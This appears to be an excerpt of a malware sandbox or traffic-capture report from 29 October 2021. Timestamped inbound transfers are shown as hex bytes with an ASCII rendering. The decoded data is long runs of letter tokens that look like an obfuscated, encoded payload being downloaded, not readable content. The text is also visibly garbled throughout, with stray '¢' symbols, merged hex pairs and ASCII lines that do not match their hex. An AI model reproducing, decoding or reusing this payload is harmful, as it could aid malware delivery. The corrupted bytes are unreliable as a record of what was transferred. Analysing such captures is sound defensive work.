20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 56 20 72 49 20 59 43 20 59 59 20 49 72 20 4e
4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 59 72 20 59 43 20 72 49 20 59 43 20 63 4e 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e
59 59 20 4e 4e 56 20 59 43 20 72 49 20 72 57 20 59 72 20 49 72 20 4e 4e 72 20 4e 56 56 20 4e 43 57 20 4e 4e 56 20 59
4e 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 72 4d 20 72 57 20 59 43 20
59 72 20 4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 72 49 20 59 43 20 4e 49 20 49 72 20 4e 4e
72 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72
Data Ascii: VNc Yr Ir NNr NVe NCW NNV YC NWM YC Yr Ir NNY NNM NCW NNV VV rl YC YY Ir NNr NNM NCW NYr
YCrl YC cN Ir NNr NNM NYY NNV YC rl rW Yr Ir NNr NVV NCW NNV YN rl YC Yr Ir NNr NNM NCW NNV rM rW YC Yr
ML NNY NNM NCW NNL YC rl YC NI Ir NNr NNc NCW NNV YC rl YC Yr

2021-10-29 18:29:53 UTC 1306 IN Data Raw: 20 56 72 20 4e 4c 59 20 59 72 20 49 72 20 4e 56 43 20 56 63 20 56 4e 57 20 4e 4e 56 20 59 43 20 59 49 20 57
4c 20 4e 56 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 56 43 4e 20 59 4e 20 72 49 20 59 56 20 59 43 20 4e 56 72
20 4e 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 63 20 4e 4c 59 20 59 4e 20 59 72 20 49 56 20 49 49 20 4e 43 56
20 57 4c 20 4e 56 72 20 59 43 20 4e 63 63 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
2059 72 20 4d 49 20 59 63 20 59 59 20 49 72 20 4e 4e 49 20 49 49 20 4d 4c 20 4e 43 56 20 56 56 63 20 4e 43 72 20 59
43 20 59 72 20 49 59 20 57 43 20 56 43 59 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 56 72 20 63 4c 20 59 72 20 49 72 20
4e 4e 56 20 57 4c 20 56 4e 4c 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20
Data Ascii: Vr NLY Yr Ir NVC Ve VNW NNV YC YI WL NVW Ir NNr NVM c¢W VCN YN rl YV YC NVr Nrl NNM NCW NNI
Ve NLY YN Yr IV I NCV WL NVr YC Ncc YC Yr Ir NNr NNM NCW NNV Yr Ml Yc YY Ir NNI I ML NCV VVe NCr YC Yr IY
WC VCY NCW NNV Yc VVr cL Yr Ir NNV WL VNL NNV YC YI Ve

2021-10-29 18:29:53 UTC 1307 IN Data Raw: 20 49 43 20 57 43 20 4e 72 72 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 4e 63 56 20 59 59 20 49 72 20

4e 4e 63 20 4e 43 43 20 4e 43 59 20 4c 4e 20 56 72 72 20 72 49 20 59 43 20 63 43 20 49 43 20 57 43 20 56 43 4e 20 4e
43 49 20 4e 4e 56 20 59 56 20 59 72 20 57 4c 20 63 4d 20 49 59 20 4e 4e 72 20 4e 4e 59 20 4d 4e 20 4e 4e 56 20 59 43
207257 20 72 63 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 72 20 4e 4e 56 20 72 63 20 56 57 20 59 43 20 59
63 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 49 20 59 43 20 72 56 20 59 72 20 4e 4e
72 20 4e 56 4c 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 43 63 20 4e 4e 63 20
4e 43 57 20 4e 4e 49 20 56 63 20 56 4c¢ 49 20 59 43 20 59 72 20 49 56 20 56

Data Ascii: IC WC Nrr NCW NNV YV WY NcV YY Ir NNc NCC NCY LN Vrrrl YC ¢cC IC WC VCN NCI NNV YV Yr WL cM
1Y NNr NNY MN NNV YC rW rc Yr Ir NNV NNM NVr NNV rc VW YC Yc Ir NNr NNM NCW NNr YC NNI'YC rV Yr NNr NVL
NCW NNV YC rl NNc YC NVr VCc NNc NCW NNI Ve VLI YC Yr IV V

2021-10-29 18:29:53 UTC 1308 IN Data Raw: 72 20 49 56 20 56 57 20 56 56 59 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 43 20 4e 57 4e 20 56 57 20 49 72
20 4e 4e 72 20 4e 4e 57 20 4d 56 20 4e 43 56 20 63 59 20 4e 63 4¢ 20 59 43 20 59 72 20 49 56 20 56 43 49 20 49 43 20
4e 56 56 20 4e 4e 49 20 4e 72 72 20 56 72 20 4e 57 4e 20 59 72 20 49 72 20 4e 4e 63 20 4e 56 63 20 4e 43 63 20 4e 4e
59 20 57 4c¢ 20 49 57 20 59 4e 20 59 72 20 49 56 20 57 43 20 56 72 57 20 4e 43 57 20 4e 4e 56 20 59 56 20 57 59 20 56
72 49 20 59 72 20 49 72 20 4e 56 43 20 4e 4e 4c 20 63 57 20 56 43 72 20 59 4e 20 72 49 20 59 56 20 72 57 20 59 57 20
56 72 4c 20 4e 4e 63 20 4e 43 57 20 4e 4e 49 20 56 72 20 4e 63 63 20 72 57 20 49 57 20 59 4c 20 4e 4e 59 20 4e 4e 4d
20 4e 43 4d 20 57 56 20 72 63 20 59 56 20 56 63 20 4e 4c 49 20 49 59 20 4e
Data Ascii: r IV VW VVY NCW NNV YV rC NWN VW Ir NNr NNW MV NCV cY NcL YC Yr IV VCI IC NVV NNI Nrr Vi NWN
Yr Ir NNc NVe NCe NNY WL IW YN Yr IV WC VIW NCW NNV YV WY Vrl Yr Ir NVC NNL cW VCr YN rl YV rW YW VrL
NNc NCW NNI Vr Ncc rw IW YL NNY NNM NCM WV rc YV Ve NLITY N
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1312 IN Data Raw: 72 20 4e 56 43 20 49 57 20 4e 43 72 20 4e 43 4c 20 4c 4c 20 59 72 20 56 59 20 63 4c 20 4d 43 20 4e 56 56 20
57 4c 20 49 49 20 4e 4e 56 20 59 43 20 59 49 20 4c 4e 20 56 4c¢ 56 20 4e 4c 49 20 4e 56 72 20 4e 43 4c 20 4e 43 4e 20
4e 72 56 20 4c 63 20 59 63 20 59 43 20 59 72 20 4d 57 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4c
63 20 4c 59 20 72 49 20 4e 4e 43 20 4e 4d 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4c 4c 20 59 59 20 63 57 2
072 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4¢ 20 57 57 20 59 63 20 4c 4c 20 59 63 20 49 57 20 4e 4c 59 20 4e 4e 72 20 4e
4e 4d 20 4e 43 4c 20 57 57 20 59 4c 20 4c 49 20 4c 4c 20 63 4e 20 63 63 20 57 4d 20 4e 56 4e 20 4d 43 20 59 4d 20 4c
59 20 59 57 20 4c 4e 20 4e 56 4c 20 63 63 20 57 4d 20 4e 56 43 20 4d
Data Ascii: r NVC IW NCr NCL LL Yr VY cL MC NVV WL I NNV YC YI LN VLV NLI NVr NCL NCN NrV Lc Yc YC Yr MW
VW NVc NCW NNV Yc VLc LY rl NNC NMc NNM NCW NNV YC LL YY cW rl NNr NNM NCL WW Yc LL Yc IW NLY NNr
NNM NCL WW YL LI LL cN cc WM NVN MC YM LY YW LN NVL cc WM NVC M

2021-10-29 18:29:53 UTC 1316 IN Data Raw: 20 4e 4e 4d 20 4e 43 57 20 4e 4d 57 20 72 49 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d
20 57 49 20 4e 4e 56 20 59 43 20 72 57 20 72 49 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 4e 20 4e 43 57 20 4e 4e 56 20
59 43 20 56 72 4c 20 72 49 20 59 72 20 49 72 20 4e 63 4e 20 4e 4e 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 72 49 20 59
4320 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 72 49 20 49 72 20
4e 4e 72 20 4e 4e 4d 20 4e 49 43 20 4e 4e 72 20 59 43 20 72 49 20 56 4c 4d 20 59 56 20 49 72 20 4e 4e 72 20 4e 4e 49
20 4e 43 57 20 4e 4e 56 20 59 43 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 59 20 4e 4e 56 20
4e 56 4c 20 72 57 20 59 43 20 59 72 20 4e 56 63 20 4e 4e 72 20 4e 4e 4d 20
Data Ascii: NNM NCW NMW rl rl YC YL Ir NNr NNM WI NNV YC rW rl Yr Ir NNr NCN NCW NNV YC VrL rl Yr Ir NcN
NNW NCW NNV Yc rl YC Yr Ir NNr NNM NCW NNV YC rl YC rl Ir NNr NNM NIC NNr YC rl VLM YV Ir NNr NNI NCW NN
VYC YIYC YrlY NCY cW NCY NNV NVL rw YC Yr NVc NNr NNM

2021-10-29 18:29:53 UTC 1317 IN Data Raw: 56 43 20 4e 63 57 20 4e 56 72 20 4e 4e 4d 20 4c 4e 20 4c 56 20 59 4c 20 4c 57 20 49 43 20 4e 4e 4c 20 4e 4e
4c 20 63 57 20 56 56 72 20 59 43 20 72 49 20 59 56 20 4c 43 20 63 63 20 4e 4e 72 20 4e 4e 4d 20 4d 43 20 4e 56 4c 20
59 57 20 57 59 20 63 56 20 59 72 20 49 72 20 4e 56 43 20 49 49 20 56 59 59 20 4e 4d 72 20 59 63 20 59 4d 20 4c 43 20
72 49 20 57 4c 20 56 57 20 4e 56 63 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 4¢ 63 20 56 4c 63 20 59 4c 20 4e 4e 7220 4
e 4d 56 20 4e 4e 4d 20 4e 43 59 20 57 57 20 59 49 20 4c 49 20 4c 4c 20 63 4c 20 4e 56 4d 20 49 4c 20 4e 43 43 20 4e 43
4e 20 57 4d 20 59 57 20 4e 4d 43 20 4c 4c 20 63 43 20 49 4c 20 4e 4e 56 20 4e 43 43 20 4e 43 4c 20 49 49 20 56 4c 4c
20 72 49 20 59 43 20 63 43 20 4e 56 72 20 4e 43 43 20 4e 4e 4d 20 4e
Data Ascii: VC NcW NVr NNM LN LV YL LW IC NNL NNL cW VVr YC rl YV LC cc NNr NNM MC NVL YW WY ¢V Yr Ir
NVC Il VYY NMr Yc YM LC rl WL VW NVec NCW NNV Yc VLc VLc YL NNr NMV NNM NCY WW YI LI LL cL NVM IL NCC
NCN WM YW NMC LL cC IL NNV NCC NCL Il VLL rl YC cC NVr NCC NNM N

2021-10-29 18:29:53 UTC 1322 IN Data Raw: 56 20 59 63 20 63 4e 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 56 63 20 4e 4e 63 20 4d 63
207263 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 56 20 4e 43 43 20 4c 20 4e 63 20 72 49 20 59 43 20 63 43 20 4e
56 72 20 49 4e 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 57 4c 20 56 43 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 4e 4c
20 4e 56 72 20 4e 4e 63 20 72 59 20 63 4c 20 4e 57 4e 20 4e 43 49 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4d 56 20 4e 63
43 20 56 4e 59 20 72 49 20 59 43 20 59 43 20 4e 56 72 20 63 57 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 59 20 49 20
59 43 20 59 72 20 57 72 20 56 57 20 49 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 56 49 20 72 43 20 72 43 20 56 4e 4d 20
72 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 56 4¢ 20 56 56 72 20 56 59 59
Data Ascii: V Yc cN Mc rC Ir NNr NVM NVe NNc Mc rc YC Yr Wr WM NNV NCC L Nc rl YC ¢C NVr IN NNM NCW NVV
WL VC YC Yr Wr WM NNL NVr NNc rY cL NWN NCI Ir NNr NNc MV NcC VNY rl YC YC NVr cW NNM NCW NVV cY | YC
Yr Wr VW IC NCW NNV Yc VI rC rC VNM rC NNM NCW NNL VL VVr VYY

2021-10-29 18:29:53 UTC 1326 IN Data Raw: 4e 4c 20 59 72 20 49 72 20 4e 4e 72 20 4e 43 63 20 4e 4e 57 20 49 49 20 57 63 20 72 49 20 59 43 20 63 43 20

4d 59 20 4e 43 4e 20 56 72 49 20 59 59 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 56 4c 43 20 4e 4c 43 20 4e 4e 72 20
4e 4e 4d 20 4e 43 59 20 49 49 20 59 20 72 49 20 59 43 20 63 43 20 4c 57 20 4d 72 20 4e 4e 4d 20 4e 43 57 20 4e 56 56
20 56 63 20 56 4d 20 59 43 20 59 72 20 57 72 20 57 4d 20 4e 56 59 20 4e 43 4d 20 4c 20 4e 57 57 20 72 49 20 59 43 20
72 49 20 4d 4e 20 4e 4e 49 20 4e 43 43 20 4e 43 59 20 57 49 20 59 4e 20 56 72 20 56 4e 57 20 59 72 20 49 72 20 4e 56
43 20 56 63 20 4e 4c 4e 20 4e 4e 56 20 59 43 20 59 72 20 4c 59 20 59 43 20 63 4d 20 56 59 59 20 72 4d 20 4e 43 57 20
4e 4e 56 20 59 4e 20 56 4e 20 4c 63 20 72 4e 20 4e 56 63 20 56 4¢ 57 20

Data Ascii: NL Yr Ir NNr NCc NNW Il We rl YC ¢C MY NCN Vrl YY NNV YC rW VL VLC NLC NNr NNM NCY 11'Y rl YC cC
LW Mr NNM NCW NVV Vc VM YC Yr Wr WM NVY NCM L NWW rl YC rl MN NNI NCC NCY WI YN Vr VNW Yr Ir NVC Vc
NLN NNV YC YrLY YC cM VYY rM NCW NNV YN VN Lc rN NVc VLW

2021-10-29 18:29:53 UTC 1330 IN Data Raw: 20 59 4d 20 59 43 20 4d 43 20 4e 56 72 20 4e 4d 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 63 72 20 4e 4e 57
2059 63 20 59 72 20 4c 63 20 4e 56 20 4e 43 4d 20 4e 43 57 20 4e 4e 56 20 59 63 20 57 59 20 72 59 20 59 72 20 49 72
20 4e 56 43 20 4d 20 4e 63 20 4e 56 56 20 59 43 20 63 72 20 63 72 20 4e 59 59 20 57 72 20 4e 4e 72 20 59 20 4e 57 20
4e 4e 43 2059 43 20 72 49 20 59 63 20 4c 43 20 4d 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 49 49 20 4e 4e 20 72 49
20 59 43 20 63 43 20 59 57 20 4e 4c 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 56 4c 20 63 63 20 4e 72 4c 20 63 43 20
49 72 20 56 20 4d 20 4e 56 72 20 4e 56 4c 20 59 43 20 63 72 20 4d 63 20 72 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63
57 20 4e 4e 4e 20 59 43 20 72 49 20 59 63 20 4c 43 20 4d 63 20 4e 4e 72 20
Data Ascii: YM YC MC NVr NM NNM NCW NVV cr NNW Yc Yr Lc NV NCM NCW NNV Yc WY rY Yr Ir NVC M Nc NVV
YC crer NYY Wr NNr Y NW NNC YC rl Yc LC MY NNr NNM NCL II NN rl YC ¢C YW NLC NNM NCW NNI VL cc NrL cC Ir
V M NVr NVL YC cr Mc rC Ir NNr NVM cW NNN YC rl Yc LC Mc NNr

2021-10-29 18:29:53 UTC 1334 IN Data Raw: 20 56 49 20 72 49 20 59 43 20 59 56 20 72 4d 20 49 63 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 57 4e 20 57
59 20 4e 57 56 20 59 72 20 49 72 20 4e 56 43 20 56 4e 59 20 49 59 20 56 56 63 20 59 43 20 72 49 20 59 43 20 59 56 20
72 4d 20 4e 43 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 4¢ 20 59 63 20 4e 43 63 20 4e 49 59 20 4e 43 43 20 4e 4e
72 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 20 56 4d 20 72 49 20 59 43 20 59 43 20 63 57 20 4e 56 59 20 4e 43 63 20 57 4d 20
56 59 4c¢ 20 4e 43 72 20 72 49 20 59 43 20 59 59 20 4e 4e 4c 20 4e 63 56 20 4e 4c 59 20 4e 43 57 20 4e 4e 56 20 59 72
2056 72 20 59 20 59 72 20 49 72 20 4e 56 43 20 63 20 49 59 20 4e 4e 56 20 59 43 20 59 49 20 56 63 20 49 49 20 49 72
20 4e 4e 72 20 4e 56 4d 20 4e 4e 4e 20 4e 4e 20 4c 72 20 72 49 20 59 43 20
Data Ascii: VIl YC YV rM Ic NNM NCW NNc WN WY NWV Yr Ir NVC VNY 1Y VVc YC rl YC YV rM NCV NNM NCW
NNc YL Yc NCc NIY NCC NNr NNM NNN NN VM rl YC YC cW NVY NCc WM VYL NCr rl YC YY NNL NcV NLY NCW
NNV YrVrY Yrir NVC ¢ IY NNV YC YI Ve Il Ir NNr NVM NNN NN Lrrl YC

2021-10-29 18:29:53 UTC 1338 IN Data Raw: 57 4c 20 57 43 20 4e 4e 56 20 59 43 20 59 49 20 63 59 20 4e 72 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20
4c 43 20 59 43 20 72 49 20 59 63 20 59 56 20 72 4d 20 57 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 4¢ 59 20 59 49 20
4c 59 20 59 57 20 4e 56 20 57 57 20 4e 56 4c 20 4e 56 4c 20 56 4c¢ 43 20 4e 43 63 20 4c 4c 20 63 43 20 4c 4c 20 4e 57
72 20 72 56 20 4e 43 43 20 57 57 20 4e 43 72 20 4e 63 72 20 4e 43 72 20 4c 59 20 59 63 20 4d 4d 20 56 56 49 20 72 59
20 72 2057 4d 20 63 43 20 72 56 20 4e 63 72 20 57 59 20 59 57 20 4e 56 49 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 4d
57 20 56 72 20 59 43 20 59 72 20 49 43 20 4d 72 20 56 4c 59 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 4d 4c 20 59
4d 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4e 4e 4d 20 56 63 20 4e 20 4e 4e
Data Ascii: WL WC NNV YC Yl cY Nr Ir NNr NVM cW LC YC rl Yc YV rM WI NNM NCW NNc LY YI LY YW NV WW NVL
NVL VLC NCc LL cC LL NWr rV NCC WW NCr Ncr NCr LY Yc MM VVI rY r WM cC rV Ncr WY YW NVI NNM NCW NVV
MW Vr YC Yr IC Mr VLY NCW NNV YC YC ML YM Ir NNr NNL NNM Vc N NN
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1342 IN Data Raw: 20 56 63 20 49 56 20 59 43 20 59 72 20 57 72 20 49 49 20 57 57 20 4e 4e 43 20 4e 43 72 20 56 43 7220 72
57 2056 72 20 59 72 20 49 72 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 63 4d 20 72 49 20 59 43 20 59 72 20 4e
4e 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4e 4e 59 20 57 4c 20 4e 59 4c¢ 20 59 4e 20 59 72 20 49 56 20 4e 43 4e 20 5
6 72 49 20 59 4c 20 4e 4e 56 20 59 43 20 72 57 20 56 4c 20 4c 56 20 4c 49 20 4e 4d 56 20 4e 4e 72 20 4e 43 57 20 43 20
4e 72 72 20 4c 57 20 57 4c 20 4e 56 43 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 4c 20 4c 20 59 4e 20 72 57 20 59 43
20 63 43 20 49 56 20 4e 43 43 20 56 4c 57 20 4e 43 4d 20 4e 43 4c 20 4e 63 49 20 56 72 20 49 4e 20 59 72 20 49 72 20
4e 56 43 20 57 4c 20 4e 4e 4e 20 4e 4e 4c 20 59 43 20 59 49 20 63 59 20
Data Ascii: Vc IV YC Yr Wr Il WW NNC NCr VCr rW Vr Yr Ir NCY cW NCr NNV cM rl YC Yr NNN NNr NNM NVr NNY WL
NYL YN Yr IV NCN Vrl YL NNV YC rW VL LV LI NMV NNr NCW C Nrr LW WL NVC Ir NNr NVM NCL L YN rW YC cC IV
NCC VLW NCM NCL Ncl Vr IN Yr Ir NVC WL NNN NNL YC YI cY

2021-10-29 18:29:53 UTC 1346 IN Data Raw: 4e 63 20 4d 43 20 4e 4e 56 20 4e 4c 57 20 4e 56 43 20 63 4d 20 59 43 20 72 49 20 72 4e 20 63 56 20 4e 56 4d

2059 57 20 4e 4e 20 4e 56 4c 20 4e 4e 4c¢ 20 59 43 20 59 56 20 56 4c 20 56 4d 20 63 4d 20 49 72 20 4e 4e 20 4e 56 4e
20 4e 4e 4c 20 59 43 20 59 56 20 56 43 72 20 72 49 20 4d 56 20 4e 4e 56 20 4e 4e 4d 20 4e 43 4d 20 4c 20 72 4e 20 72
57 20 59 43 20 63 43 20 4e 4e 4c 20 56 72 56 20 57 57 20 4e 43 49 20 4e 4e 56 20 59 72 20 56 72 20 72 59 20 59 72 20
49 72 20 49 57 20 49 43 20 63 72 20 4e 56 72 20 56 43 20 4c 72 20 72 49 20 56 43 43 20 63 59 20 63 59 20 4e 4e 4d 20
4e 43 57 20 4e 43 4d 20 59 49 20 56 4d 20 4c 63 20 72 49 20 4e 4d 43 20 4e 4e 63 20 4e 43 57 20 4e 4e 4e 20 4e 4e 56
20 59 56 20 63 4d 20 72 4d 20 59 59 20 49 72 20 4e 56 43 20 57 4c 20 4d

Data Ascii: Nc MC NNV NLW NVC cM YC rl rN ¢V NVM YW NN NVL NNL YC YV VL VM cM Ir NN NVN NNL YC YV VCr

rl MV NNV NNM NCM L rN rW YC ¢cC NNL VrV WW NCI NNV Yr VrrY Yr Ir IW IC cr NVr VC Lr rl VCC cY cY NNM NCW
NCM YI VM Lc rl NMC NNc NCW NNN NNV YV cM rM YY Ir NVC WL M

2021-10-29 18:29:53 UTC 1349 IN Data Raw: 4e 72 20 4e 56 4d 20 56 43 4d 20 49 59 20 4c 4d 20 4c 57 20 4c 49 20 4c 43 20 56 4c 56 20 4e 4e 72 20 4e 4e
4d 20 4e 43 4c 20 56 4e 43 20 56 4c¢ 20 72 43 20 4c 4d 20 4c¢ 72 20 4e 56 72 20 56 43 63 20 4e 4e 4d 20 4e 43 57 20 4e
56 56 20 4e 72 72 20 56 4e 20 72 4c¢ 20 4c¢ 56 20 63 72 20 57 43 20 56 43 4e 20 4e 43 57 20 4e 4e 56 20 59 63 20 4e 72
63 20 56 63 20 4e 4c 57 20 49 72 20 4e 4e 72 20 4e 56 4d 20 63 57 20 72 57 20 59 4e 20 72 49 20 59 63 20 4e 49 56 20
4d 4c 20 4e 4e 59 20 4e 4e 4d 20 4e 43 59 20 4e 72 20 72 4d 20 72 57 20 59 43 20 59 43 20 72 4d 20 72 49 20 4e 4e 63
20 4e 43 57 20 4e 56 56 20 4d 63 20 72 59 20 59 4e 20 59 72 20 49 43 20 4e 56 56 20 57 57 20 4e 56 4c 20 4c 20 4e 4e
4c¢ 20 72 57 20 59 43 20 63 43 20 63 63 20 4e 43 43 20 63 20 72 63 20 4e
Data Ascii: Nr NVM VCM Y LM LW LI LC VLV NNr NNM NCL VNC VL rC LM Lr NVr VCc NNM NCW NVV Nrr VN rL LV cr
WC VCN NCW NNV Yc Nrc Ve NLW Ir NNr NVM cW rW YN rl Yc NIV ML NNY NNM NCY Nr rM rW YC YC rM rl NNc
NCW NVV Mc rY YN Yr IC NVV WW NVL L NNL rW YC cC cc NCC crc N

2021-10-29 18:29:53 UTC 1354 IN Data Raw: 20 4d 4d 20 72 49 20 72 57 20 63 43 20 49 72 20 4e 4e 72 20 4e 4e 63 20 4e 4e 4e 20 4e 4e 56 20 56 49 20
72 49 20 4e 43 49 20 4e 49 63 20 49 72 20 4e 56 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 59 43 20 59 43 20
4e 4d 20 49 72 20 4c 20 56 4c 4d 20 4e 43 57 20 4e 56 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 63 20 4e 4e 72 20
49 59 20 4e 43 57 20 56 72 72 20 4e 59 43 20 72 49 20 59 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20
4e 4e 56 20 59 56 20 72 49 20 4e 59 56 20 4e 4c 72 20 49 72 20 4e 4e 4c 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 4e
20 72 4c 20 56 20 59 4e 20 49 72 20 4e 63 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 56 4e 20 72 49 20 59 43 20 4c
57 20 4c 57 20 56 4e 63 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59 63 20 63
Data Ascii: MM rl rW cC Ir NNr NNc NNN NNV VI rl NCI Nic Ir NVC NNM NCW NNV YC YC YC NM Ir L VLM NCW NVV
YCrl YC Yrlc NNr 1Y NCW Vir NYC rl Yc Yr Ir NNr NNM NCW NNV YV rl NYV NLr Ir NNL NVM NCW NNV YN rL V YN Ir
NcY NNM NCW NNV NVN rl YC LW LW VNc NNM NCW NVV Yc ¢

2021-10-29 18:29:53 UTC 1358 IN Data Raw: 4e 4e 72 20 59 43 20 72 49 20 59 43 20 4e 59 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 63 72 20 4e 4e 4c 20 59 43
2072 49 20 49 72 20 59 59 20 49 72 20 4e 4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59
72 2049 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 56 20 72 49 20 59 43 20 59 72 20 59 63 20 4e 4e 59
20 4e 4e 4d 20 4e 43 57 20 56 20 59 4e 20 72 49 20 59 43 20 59 4c 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4e
4e 56 20 59 43 20 72 57 20 72 4e 20 63 20 49 4e 20 4e 4e 72 20 56 72 43 20 4e 4e 4e 20 4e 4e 56 20 59 43 20 4e 56 4d
20 59 43 20 59 72 20 63 57 20 4e 20 56 4e 43 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 49 20 4e 49 20 4e 49 4d 20 49 72
20 4e 4e 72 20 4e 4e 4d 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e
Data Ascii: NNr YC rl YC NY Ir NNr NNM cr NNL YC rl Ir YY Ir NNr NVM NCW NNV YC rl YC Yr Ir NNr NNM NCW NNV
YVl YC YrYc NNY NNMNCW V YN rl YC YL Ir NNr NNM NCL NNV YC rW rN ¢ IN NNr VrC NNN NNV YC NVM YC Yr
cW N VNC NCW NNV Yc YI NI NIM Ir NNr NNM VVrrV YC rl YN

2021-10-29 18:29:53 UTC 1362 IN Data Raw: 43 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4c 63 20 4e 4e 56 20 4e 4d 49 20 56 72 57 20 59 43 20 63 43
2049 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 4e 72 20 59 43 20 4e 63 59 20 4e 56 57 20 4e
4e 72 20 4e 56 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 59 72 20 49 56 20 4e 4e 72 20 4e 4d 72 20 4e
72 43 20 4e 4e 56 20 72 57 20 59 49 20 59 43 20 59 72 20 49 59 20 4e 43 59 20 63 57 20 4e 43 72 20 4e 4e 56 20 4e 43
49 20 72 57 20 59 43 20 59 72 20 72 20 4e 4e 72 20 4e 4e 4d 20 4e 56 72 20 4c 20 4e 72 57 20 72 49 20 59 43 20 63 43
2057 72 20 4e 43 57 20 4d 43 20 56 56 72 20 72 56 20 59 43 20 72 49 20 59 4e 20 4e 57 20 4e 4c 56 20 4e 63 59 20 4e
4e 4d 20 4e 43 57 20 4e 4e 63 20 56 63 20 4d 20 59 43 20 59 72 20 57 72
Data Ascii: C Yr Ir NNV NNM Lc NNV NMI VW YC cC Ir NNr NNM NCW NNr YC NNr YC NcY NVW NNr NVM NCW NNV
YCrl YC Yr IV NNr NMr NrC NNV rW Y1 YC Yr IY NCY cW NCr NNV NCI rW YC Yr r NNr NNM NVr L NrW rl YC cC Wr
NCW MC VVr 1V YC rl YN NW NLV NcY NNM NCW NNc Ve M YC Yr Wr

2021-10-29 18:29:53 UTC 1366 IN Data Raw: 72 20 4e 56 43 20 56 63 20 4e 49 49 20 4e 4e 56 20 59 43 20 59 49 20 59 56 20 72 4e 20 57 43 20 56 59 59
20 72 4d 20 4e 43 57 20 4e 4e 56 20 59 4e 20 56 4e 20 56 56 63 20 56 72 59 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 63 57
20 4d 4e 20 59 43 20 72 49 20 59 63 20 63 57 20 4e 43 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 4c 20 4c 4e 20 56 56 4d 20 7
24920 59 43 20 63 43 20 4c 57 20 56 4e 4c 20 4e 4e 4d 20 4e 43 57 20 4e 56 56 20 59 4d 20 59 4c 20 4c 43 20 63 56 20
49 4e 20 56 59 56 20 49 57 20 4e 43 59 20 4e 4e 63 20 72 57 20 4e 20 72 49 20 72 57 20 4e 56 63 20 4e 4e 72 20 4e 4e
